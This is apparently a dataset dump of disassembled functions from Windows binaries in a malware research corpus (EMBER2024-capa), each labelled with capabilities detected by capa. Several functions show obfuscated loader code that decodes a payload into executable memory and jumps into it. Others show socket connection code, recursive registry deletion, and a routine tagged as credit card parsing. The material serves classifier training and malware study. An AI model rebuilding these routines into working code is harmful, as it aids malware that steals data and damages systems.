joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4167f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x4600b4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, ecx
mov dword [ebp - 8], 0
xorps xmm0, xmm0
push 0x456cc4
push str.dataFILE_ranking.bin
movups xmmword [ebp - 0x18], xmm0
mov dword [edi + 0x10], 0xffffffff
call fcn.0041f668
mov esi, eax
add esp, 8
test esi, esi
je 0x41684a
push esi
push 5
lea eax, [ebp - 0x18]
push 4
push eax
call fcn.00425c88
push esi
call fcn.004243ea
add esp, 0x14
jmp 0x41685c
movaps xmm0, xmmword [0x457700]
movups xmmword [ebp - 0x18], xmm0
mov dword [ebp - 8], 0x4e20
lea eax, [ebp - 0x18]
push eax
call fcn.00416960
push ecx
lea eax, [ebp - 0x18]
mov ecx, edi
push eax
call fcn.004169e0
call fcn.0040a4b0
push 4
mov ecx, dword [eax + 0x24]
call fcn.00418550
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.00419f88
mov esp, ebp
pop ebp
ret

Function at 0x4169e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [0x46327c]
mov dword [ebp - 4], ecx
cmp edi, dword [esi + 0x10]
jle 0x416a49
push ebx
push esi
mov dword [esi + 0x10], edi
call fcn.00416960
push 0x456ca8
push str.dataFILE_ranking.bin
call fcn.0041f668
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x416a2d
push ebx
push 5
push 4
push esi
call fcn.00425a64
push ebx
call fcn.004243ea
add esp, 0x14
xor eax, eax
pop ebx
cmp dword [esi + eax*4], edi
je 0x416a43
inc eax
cmp eax, 5
jl 0x416a30
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x417c60
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x456cc4
push str.dataFILE_ranking.bin
call fcn.0041f668
mov esi, eax
add esp, 8
test esi, esi
je 0x417c97
push esi
push 5
push 4
push dword [ebp + 8]
call fcn.00425c88
push esi
call fcn.004243ea
add esp, 0x14
pop esi
pop ebp
ret 4
mov eax, dword [ebp + 8]
pop esi
mov dword [eax], 0x1f4
mov dword [eax + 4], 0x258
mov dword [eax + 8], 0x2bc
mov dword [eax + 0xc], 0x320
mov dword [eax + 0x10], 0x384
pop ebp
ret 4

Function at 0x417cd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [0x463280]
mov dword [ebp - 4], ecx
cmp edi, dword [esi + 0x10]
jle 0x417d39
push ebx
push esi
mov dword [esi + 0x10], edi
call fcn.00416960
push 0x456ca8
push str.dataFILE_ranking.bin
call fcn.0041f668
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x417d1d
push ebx
push 5
push 4
push esi
call fcn.00425a64
push ebx
call fcn.004243ea
add esp, 0x14
xor eax, eax
pop ebx
cmp dword [esi + eax*4], edi
je 0x417d33
inc eax
cmp eax, 5
jl 0x417d20
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x30], eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x4185f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x4600b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor edi, edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
xor esi, esi
push edi
push edi
push edi
push ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x418651
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x418749
pop edi
movzx eax, ax
pop esi
or eax, 0x80070000
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00419f88
mov esp, ebp
pop ebp
ret 0x10
push 0
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x41867d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x41867d
movzx esi, si
or esi, 0x80070000
push 0
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4186a9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4186a9
movzx esi, si
or esi, 0x80070000
cmp dword [ebp - 0x10], 0x46464952
je 0x4186cb
push 1
push 0
push dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x418628
jmp 0x418704
mov eax, dword [ebp - 8]
push 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x14]
mov dword [ebp - 8], 4
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x418704
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x418704
movzx esi, si
or esi, 0x80070000
mov eax, dword [ebp + 0xc]
add edi, 8
cmp dword [ebp - 0x10], eax
je 0x41873a
add edi, dword [ebp - 8]
cmp dword [ebp - 0x18], 0
jbe 0x418722
test esi, esi
je 0x418651
jmp 0x418747
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00419f88
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov dword [eax], edi
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00419f88
mov esp, ebp
pop ebp
ret 0x10
Function at 0x418880
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4600b4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x4188f3
mov eax, 2
push 0x573d
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
push edi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x418907
push 0
call fcn.00425ede
push eax
call fcn.00425d48
add esp, 8
call fcn.004260bb
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00419f88
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.00419f88
mov esp, ebp
pop ebp
ret 8

Function at 0x42c05f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042bede

Function at 0x43511e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x10fc058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.010fc1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x10fc07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10fc06a
add dl, dl
jne 0x10fc089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10fc0dc
xor eax, eax
add dl, dl
jne 0x10fc096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10fc17d
add dl, dl
jne 0x10fc0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10fc0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10fc0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10fc0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x10fc0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10fc075
mov eax, 1
add dl, dl
jne 0x10fc0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10fc0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10fc0e1
sub eax, ebx
mov ebx, 1
jne 0x10fc128
mov ecx, 1
add dl, dl
jne 0x10fc10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10fc119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10fc105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10fc075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x10fc13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10fc14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10fc136
cmp eax, 0x7d00
jae 0x10fc16d
cmp eax, 0x500
jb 0x10fc168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10fc075
cmp eax, 0x7f
ja 0x10fc170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10fc075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x10fc19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10fc075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10076247
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x10076267
mov eax, 0x80004005
jmp 0x100762f5
lea eax, [ebp - 4]
push esi
push eax
xor esi, esi
push 0x2000000
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, esi
jne 0x100762f2
lea eax, [ebp - 0x10]
push edi
push eax
push esi
push esi
lea eax, [ebp - 8]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push esi
push eax
lea eax, [ebp - 0x114]
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 8], 0x104
call edi
cmp eax, esi
jne 0x100762dc
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 4]
call fcn.10076247
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 0x104
push eax
push esi
push esi
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x114]
push eax
push esi
push dword [ebp - 4]
jmp 0x100762a8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
pop edi
xor eax, eax
pop esi
leave
ret 8
Function at 0x40610d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40611c
pop dword [ebp - 0x40]
mov eax, 0x5375d753
add eax, 0xacca89c9
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xb16b8d63
add dword [ebp - 0x50], 0x9ce6b7e8
mov dword [ebp - 0x4c], 0x7dcdfd87
sub dword [ebp - 0x4c], 0x4b9ab142
mov dword [ebp - 0x48], 0x6a6fda03
sub dword [ebp - 0x48], 0x1e2395d5
mov dword [ebp - 0x44], 0xd71c238d
sub dword [ebp - 0x44], 0xd71c238d
lea eax, [ebp - 0x50]
push eax
mov eax, 0x166e22d
sub eax, 0x12671cd
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xbe1cc7f9
add dword [ebp - 0x50], 0xb655a15d
mov dword [ebp - 0x4c], 0xa4bf2e56
sub dword [ebp - 0x4c], 0x6352cce1
mov dword [ebp - 0x48], 0x5f78a481
sub dword [ebp - 0x48], 0xfc093815
mov dword [ebp - 0x44], 0x4675b0bc
add dword [ebp - 0x44], 0xb98a4f44
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x320ef
push 0
call eax
mov ecx, 0xce87f0d1
sub ecx, 0xce87bb04
mov ebx, eax
mov edx, 0x90aee4e4
sub edx, 0x906de4e4
add edx, dword [ebp - 0x40]
mov edi, 0x33c35f5f
sub edi, 0x431545d2
sub dword [ebp - 0x20], ecx
mov esi, dword [edx]
sub dword [ebp - 0x2c], 0x7f11cf31
xor esi, edi
mov dword [ebp - 0x10], 0x35f66452
mov dword [ebx], esi
add ebx, 0x8220fe81
sub ebx, 0x8220fe7d
add edx, 4
loop 0x406239
add eax, 0xca07
xor ebx, ebx
add ebx, eax
add eax, 0x938175de
sub eax, 0x938175d9
mov ecx, 0x805e4ba8
sub ecx, 0x801e4ba8
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x401977
Capabilities:
Clear file content
Get common file path
Get keyboard layout

Disassembly:
sub esp, 0x800
push esi
push edi
xor esi, esi
xor edi, edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp edi, 0x58ced85
jg 0x40199d
inc edi
cmp edi, 0x1f6502b1
jl 0x401983
cmp dword [0x285bac4], 0x400
jne 0x4019e6
push str.sadahoziyofejonoh_niforapo_pihekezavokigubodatojup_rafepigojamulexiwodugaxexude_jam
push str.nelugidoneyari
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
call dword [sym.imp.USER32.dll_DdeKeepStringHandle]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameW]
push esi
call dword [sym.imp.KERNEL32.dll_CancelIo]
push esi
push esi
call fcn.00401de1
push esi
call fcn.00401f57
push esi
call fcn.00401f66
add esp, 0x10
xor edi, edi
cmp edi, 0xd09a
jge 0x4019f7
push esi
call dword [sym.imp.USER32.dll_GetCaretPos]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp edi, 0xd2ced2
jg 0x401a1f
inc edi
cmp edi, 0x263ff
jl 0x4019e8
mov eax, dword [0x46dc14]
mov dword [0x285bac4], eax
call fcn.004016ec
mov edi, 0x3078f
cmp dword [0x285bac4], 0x51f
jne 0x401a4b
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec edi
jne 0x401a33
pop edi
xor eax, eax
pop esi
add esp, 0x800
ret 0x10
Function at 0x40367c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
lea esp, [esp + 4]
mov edx, dword [eax]
mov dword [0x57a82c], edx
mov ecx, dword [eax]
test ecx, ecx
jb 0x40f52e
je 0x4036a5
jne 0x40369e
test ebx, ebp
lodsb al, byte [esi]
dec eax
mov dword [ebp - 8], 1
shl ah, 0x20
push eax
call edi
mov eax, dword [ebp - 8]
test eax, eax
jb 0x43ee94
mov di, di
jne 0x43b959
shl ebp, 0x20
je 0x4036c8
sbb esp, dword [eax - 0x3e990ab2]
out dx, eax
inc eax

Function at 0x40aa1e
Capabilities:
Check os version
Encode data using base64
Encrypt data using speck
Resolve function by parsing pe exports

Disassembly:
lea esp, [esp + 4]
mov byte [esi + 0xba], bl
shr cl, 0x40
mov byte [esi + 0xbb], dl
xchg ebp, edx
shr ebx, 0x40
xchg edx, ebp
mov word [esi + 0xbc], di
mov cx, cx
call fcn.0042575f
mov cl, byte [ebp + 0xc]
mov di, di
shl ch, 0x20
xchg bl, ch
mov bx, bx
xchg ch, bl
mov dx, word [ebp + 0x10]
jne 0x42bca5
je 0x40aa66
mov cl, 0xe8
jg 0x40aa76
je 0x42bca5
test byte [ecx], bh
adc al, byte [edx]
add byte [esp + esi*8], dh
xor al, 0xf4
adc cl, dh
inc edx
add byte [eax], al
inc eax
add byte [eax], al
sub byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], ah
cmp byte [eax + eax], 0
add byte [ecx], al
popal
add byte [eax + 0x2c], al
add byte [ecx], ah
add byte [eax], al
push cs
add byte [eax], al
add byte [esi], dh
sub al, 0x42
add byte [edx], bl
daa
inc edx
add byte [eax + eax], bh
add byte [eax], al
xchg edx, eax
stc
inc eax
add byte [esi + 0x69], dh
inc ebx
add al, bl
pop edi
push eax
mov eax, eax
jne 0x43cac8

Function at 0x40bc9a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dl, dl
push ebp
mov ebp, esp
mov cl, byte [ebp + 8]
xor eax, eax
jb 0x434328
cmp cl, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__n_r]
mov cl, cl
je 0x438714
shl ah, 0x20
jne 0x40bcc3
movsb byte es:[edi], byte [esi]
sbb al, 0x6b
invalid
inc eax
jne 0x4386f5
je 0x40bcd1
aas
cmp dword [esp + ebp*2], edx
iretd
je 0x4386f5
add eax, 0x113ae831
add eax, dword [eax]
lea ebp, [ebp]
mov eax, 1
jmp 0x41f6da
pop ebp
shr edx, 0x40
ret
cmp eax, 0x43
jb 0x40bcaa
jae 0x438708
scasd eax, dword es:[edi]
add ch, bl
mov eax, dword [0xc031c598]
xor eax, eax
jb 0x434330
pop ebp
ret
jne 0x4143be
je 0x438720
cpuid
mov edx, 0x98840fc3
mov esp, 0x2405fffd
je 0x4143be
add eax, 0x1c3f624

Function at 0x40c0c6
Capabilities:
Check os version
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
add esi, 0
jno 0x40a871
xchg ebp, esi
pop esp
lea esp, [esp + 4]
add dx, 0
cmp al, 2
jne 0x40a866
xchg ebp, edx
shr ecx, 0x40
xchg edx, ebp
je 0x40c0e5
ret 0xdf65
shl bh, 0x20
mov ebp, ebp
mov ax, dx
clc
add edx, 0
add ecx, 0x47
shr ax, 0xe
shr ah, 0x40
xchg edx, ebx
xchg ebx, edx
shl edx, 2
or eax, edx
jb 0x4334c3
stc
jb 0x40c118
popal
int3
jb 0x435006
sub byte [edx - 0x73], 0x64
and al, 4
push ds
call 0x1030be2f
lea ecx, [0x7c000000]
add al, 0xa0
add byte [ecx + 0x68], dl
lea esi, [esi + 8]
jmp dword [esi]
Function at 0x40d9a7
Capabilities:
Check os version
Encode data using base64
Encrypt data using speck
Resolve function by parsing pe exports

Disassembly:
lea esp, [esp + 4]
cmp ecx, eax
mov byte [ebp - 8], 0
mov dword [ebp + 0xc], eax
ja 0x432e71

Function at 0x40ed61
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x410f95
shr di, 0x40
lea esi, [esi + 0xc]
mov al, al
shl dword [ebx], cl
call fcn.0043e543
xor eax, 0x24448f51
pop dword [esp - 4]
mov eax, dword [esi]
add eax, 0x74
push eax
call fcn.0042e8b3
add esp, 8
jne 0x438221
je 0x40ed86
inc esp
clc
or dword [ebx + 0xf], ebp
test byte [ebp - 0x25fffd6c], dl
mov al, byte [0xd366d988]
je 0x438221
fisub dword [eax - 0x2c992678]
pop ds
mov ebx, dword [ebp + ebx]
jno 0x40ed4f
jo 0x410fa5
bound esi, qword [ebx]
mov word [edi], gs
jo 0x40ed4f
xor al, 0x35

Function at 0x40f48f
Capabilities:
Check os version
Encode data using base64
Encrypt data using speck
Resolve function by parsing pe exports

Disassembly:
lea esp, [esp + 4]
push edi
shl bx, 0x20
mov eax, dword [esi]
push eax
call fcn.0042684e
jno 0x42e4d0
jo 0x40f4ae
nop
cpuid
ret
jo 0x42e4d0
xor byte [esi - 0x73], 0x76
or dh, dh
sub al, 0x3b
mov dword [ebp + 0x24], eax
jmp dword [esi]
Function at 0x412cf5
Capabilities:
Check os version
Encode data using base64
Encrypt data using speck
Resolve function by parsing pe exports

Disassembly:
push ebx
pop ebx
push ebp
mov ebp, esp
sub esp, 0x12c

Function at 0x412ff5
Capabilities:
Check os version
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
jne 0x4400a2
je 0x413003
leave
salc
je 0x4400a2

Function at 0x4141e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, dword [esi]
mov cl, byte [ebp + eax - 0x1c]
add cl, 0x1f
mov dl, byte [edi + 0xbc]
sub dl, 0x14
xor cl, dl
jb 0x414393
mov byte [edi + eax + 0x24], cl
inc eax
cmp eax, 8
jl 0x414254
jge 0x401980
xor al, 0xc4
int3
jmp 0x402e0a
test al, al
jb 0x4143bc
jne 0x4054de
je 0x40199a
mov al, byte ds:[0xe4458dd4]
lea eax, [ebp - 0x1c]
push 8
add ecx, 0x24
jmp 0x4019a6
push eax
push ecx
ja 0x4054cc
jbe 0x4019b6
test dword [eax], ecx
in eax, 9
jg 0x4019c6
jbe 0x4054cc
xchg byte [eax], dl
cmp eax, dword [eax]
add cl, bl
mov al, 0x8b
pop esi
add al, 0xf
fnstenv [eax + 0xf045e8b]
mov dh, bh
mov dh, 2
add byte [ecx + 5], bh
invalid
call int.00439c56
add esp, 0xc
jmp 0x402e0a
xor eax, eax
jb 0x43b52f
pop esi
mov ch, 0x2e
jns 0x42b104
and dh, 0x68
dec ebp
fadd dword [ebx]
ret
add esp, 0x18
jmp fcn.0040bafa
xor eax, 0x24648ddc
add al, 0xe9
push ecx
enter 1, 0xffffffffffffffd9
stosb byte es:[edi], al
call fcn.00434b3f
xor eax, eax
jb 0x42e0cd
mov ax, word [edi + 0x20]
push eax
push esi
push edi
pop edi
call fcn.00428fca
xor ecx, ecx
jb 0x4101e8
mov cx, word [edi + 0x24]
push ecx
xchg dl, bh
xchg bh, dl
push esi
call fcn.0042086e
sub edx, 0
jno 0x413d60
adc eax, 0xba810f1d
out dx, al
invalid
jno 0x412c20
invalid
lea esp, [esp + 4]
mov al, byte [ecx + 0xba]
cmp al, 1
jne 0x41423b
je 0x4141fa
mov byte [0xfb80211b], al
push edx
xor eax, eax
jb 0x42590f
cmp al, 2
mov bl, bl
jne 0x401987
je 0x41424c
jg 0x414269
jbe 0x41423b
in al, dx
xor eax, eax
jb 0x413d1a
jno 0x40194f
jo 0x41425e
daa
adc byte [edi], cl
sub bl, 0xd6
invalid
jo 0x40194f
add eax, 0x59ebe892
add al, byte [eax]
mov ecx, dword [ebp - 4]
add esp, 0xc
mov dword [0x57a800], ecx
shl bh, 0x20
mov eax, dword [0x57a800]
mov esp, ebp
shr bx, 0x40
pop ebp
ret
je 0x41437f
add byte [0x45e8b5a], ah
lea esi, [esi + 8]
xchg dh, cl
xchg cl, dh
shl word [ebp + ebx], cl
jmp dword [esi]
movsb byte es:[edi], byte [esi]
pop edx
mov si, si
mov al, al
mov cl, byte [ebp + 0x28]
mov ebx, dword [esi + 4]
mov cx, cx
lea esi, [esi + 8]
shl dword [ebp + ebx], cl
jne 0x43b52d
je 0x4143b6
loopne 0x41437d
dec ebp
mov esi, 0x7171840f
add al, byte [eax]
je 0x43b52d
invalid
xor eax, 0x24648dc8
add al, 0x8d
jbe 0x425924
cmp dh, dh
cmp dword [ebp + ebx], eax
jmp dword [esi]
mov bp, bp
lea edx, [edx]
mov eax, dword [esi + 4]
mov ebx, dword [esi + 8]
mov ebx, dword [ebp + ebx]
shr cx, 0x40
lea esi, [esi + 0xc]
or bh, bh
cmp byte [ebx], al
call fcn.0041dba0
fld dword [eax - 0x77bf1340]
shr ah, 0x40
mov bl, bl
jmp dword [esi]
invalid
jmp dword [esi]
pop edi
in al, dx
shl dh, 0x20
mov cl, byte [ebp + 0x28]
mov ebx, dword [esi + 4]
lea esi, [esi + 8]
shr byte [ebx], cl
jmp dword [esi]
Function at 0x415a6a
Capabilities:
Check os version
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
pop dword [esp - 4]
call fcn.0043d0f4
xchg bh, cl
xchg cl, bh
mov cl, byte [ebp + 0xc]
xchg ch, bl
xchg bl, ch
xchg dh, bl
xchg bl, al
push eax
mov ax, dx
nop
pop eax
xchg di, ax
xchg di, ax
mov cx, cx
xchg al, bl
xchg bl, dh
mov dx, word [ebp + 0x10]
call fcn.0043e579
Function at 0x41853c
Capabilities:
Authenticate hmac
Check os version
Encode data using base64
Encrypt data using speck
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
invalid
jne 0x436afa
shr edx, 0x40
je 0x41854a
jle 0x4184ec
or byte [edi], cl
test byte [edx - 0x38fffe1b], ch
cmpsd dword [esi], dword es:[edi]
inc ebx
sbb eax, 0xd0043
add byte [eax], al
sub byte [eax], al
add byte [eax], al
push edx
cmpsd dword [esi], dword es:[edi]
inc edx
add bh, bh
inc dword [eax]
add byte [eax], ch
add byte [eax], al
add byte [eax - 0x1effbd06], dl
popfd
inc ebx
add byte [esi + ecx + 0x30044], ch
add byte [eax], al
and al, 0
add byte [eax], al
lea edi, [edi + 0x300041]
add byte [eax], al
xor byte [eax], al
add byte [eax], al
invalid
je 0x436afa
invalid
push ebp
mov ebp, esp
mov edi, edi
push ecx
shr si, 0x40